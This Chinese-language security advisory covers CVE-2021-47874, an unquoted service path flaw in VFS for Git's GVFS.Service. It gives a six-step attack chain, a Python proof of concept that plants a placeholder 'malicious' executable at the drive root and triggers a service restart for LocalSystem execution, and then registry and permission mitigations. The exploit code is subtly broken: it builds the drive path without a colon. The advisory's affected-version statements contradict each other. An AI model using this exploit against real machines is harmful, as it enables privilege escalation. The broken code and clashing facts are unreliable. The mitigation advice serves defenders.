IPBUF安全漏洞报告
English
CVE-2021-47874 CVSS 7.8 高危

CVE-2021-47874 VFS for Git GVFS.Service未加引号服务路径权限提升漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2021-47874
漏洞类型
未加引号的服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
VFS for Git (GVFS.Service Windows服务)

相关标签

权限提升未加引号服务路径Windows服务本地攻击VFS for GitGVFS.ServiceCVE-2021-47874LocalSystem服务路径劫持

漏洞概述

CVE-2021-47874是VFS for Git 1.0.21014.1版本中存在的严重安全漏洞,源于GVFS.Service Windows服务的二进制路径未使用引号包裹。该漏洞允许本地低权限攻击者通过服务路径劫持技术,在Windows系统上实现权限提升,最终以LocalSystem最高权限执行任意代码。由于VFS for Git是微软开发的Git虚拟文件系统扩展,广泛应用于大型代码仓库管理场景,该漏洞影响了大量Windows开发环境。攻击者只需具备本地访问权限和低权限账户即可实施攻击,无需用户交互,攻击成功后将获得系统级完全控制权,可窃取敏感数据、安装后门或进一步横向移动。

技术细节

该漏洞属于Windows服务路径劫持(Service Path Hijacking)类型。当Windows服务配置中的BinaryPathName未使用引号包裹时,系统会按照路径中的空格进行分段解析。例如,若服务路径为C:\Program Files\VFS for Git\GVFS.Service.exe而非"C:\Program Files\VFS for Git\GVFS.Service.exe",Windows会首先尝试执行C:\Program.exe,若不存在则继续尝试C:\Program Files\GVFS.Service.exe。攻击者可将恶意可执行文件命名为Program.exe并放置在C:\根目录,当GVFS.Service服务启动或系统重启时,恶意程序将以LocalSystem身份被加载执行。此漏洞利用的关键条件包括:服务路径包含空格且未加引号、攻击者对中间路径目录具有写入权限、能够触发服务重启或等待系统启动。由于GVFS.Service通常配置为自动启动,攻击者可在系统启动时自动获得高权限执行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者获取目标系统本地访问权限,使用wmic或sc命令查询GVFS.Service服务的配置信息,确认BinaryPathName是否未加引号且包含空格
STEP 2
步骤2:路径分析
分析服务路径结构,识别可被劫持的路径组件。例如路径C:\Program Files\VFS for Git\GVFS.Service.exe可分解为C:\Program.exe、C:\Program Files\GVFS.Service.exe等潜在目标
STEP 3
步骤3:写入权限检查
检查攻击者账户对路径中各目录的写入权限,确定可将恶意可执行文件放置的目标位置(通常为根目录或上级目录)
STEP 4
步骤4:恶意程序部署
将名称匹配(如Program.exe)的恶意可执行文件写入具有写权限的目标目录,准备好待执行的payload
STEP 5
步骤5:服务触发
等待系统重启、服务更新或手动触发服务重启(sc stop/start GVFS.Service),使Windows服务加载并执行恶意程序
STEP 6
步骤6:权限提升
恶意程序以LocalSystem最高权限执行,攻击者成功获得系统完全控制权,可进行数据窃取、持久化后门部署或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47874 PoC - Unquoted Service Path Exploitation # Target: VFS for Git GVFS.Service # Privilege Escalation from Low Privileges to LocalSystem import os import sys import subprocess import shutil def check_service_path(): """Check if GVFS.Service has unquoted path vulnerability""" try: result = subprocess.run( ['sc', 'qc', 'GVFS.Service'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: path_line = [l for l in result.stdout.split('\n') if 'BINARY_PATH_NAME' in l] if path_line: path = path_line[0].split(':', 1)[1].strip() print(f"[+] Service path: {path}") if '"' not in path and ' ' in path: print("[!] VULNERABLE: Path is unquoted with spaces!") return path return None except Exception as e: print(f"[-] Error checking service: {e}") return None def exploit_unquoted_path(service_path): """Exploit unquoted service path by placing malicious executable""" # Extract path components before first space path_parts = service_path.split() if len(path_parts) > 1: first_dir = os.path.dirname(path_parts[0]) # Get the first word of the path (likely the directory name) first_word = os.path.basename(first_dir).split()[0] if ' ' in first_dir else os.path.basename(first_dir) # Create malicious executable in root or parent directory target_dir = service_path[0] + '\\' # Usually C:\ malicious_exe = os.path.join(target_dir, f"{first_word}.exe") if os.path.exists(target_dir) and os.access(target_dir, os.W_OK): print(f"[+] Creating malicious executable at: {malicious_exe}") # Create a simple malicious executable (reverse shell, etc.) create_malicious_exe(malicious_exe) print("[+] Malicious executable created. Waiting for service restart...") print("[+] Trigger service restart: sc stop GVFS.Service && sc start GVFS.Service") return True return False def create_malicious_exe(path): """Create a malicious executable that will be executed as LocalSystem""" # This is a placeholder - replace with actual malicious payload malicious_code = b'MZ' + b'\x00' * 100 # Minimal PE header with open(path, 'wb') as f: f.write(malicious_code) print(f"[+] Malicious executable written to {path}") def main(): print("=" * 60) print("CVE-2021-47874 - VFS for Git Unquoted Service Path PoC") print("=" * 60) # Step 1: Check if vulnerable path = check_service_path() if not path: print("[-] GVFS.Service not found or not vulnerable") return # Step 2: Exploit if exploit_unquoted_path(path): print("[+] Exploitation successful - await LocalSystem shell") if __name__ == "__main__": main()

影响范围

VFS for Git < 1.0.21014.1(所有受影响的版本)

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解:1)打开注册表编辑器(regedit),定位HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\GVFS.Service,手动为ImagePath值添加引号;2)移除C:\根目录的Everyone/Users写入权限;3)使用icacls命令限制Program Files目录的访问权限;4)考虑禁用或卸载GVFS.Service服务直至完成修复;5)部署EDR解决方案监控svchost.exe或服务进程的异常子进程创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表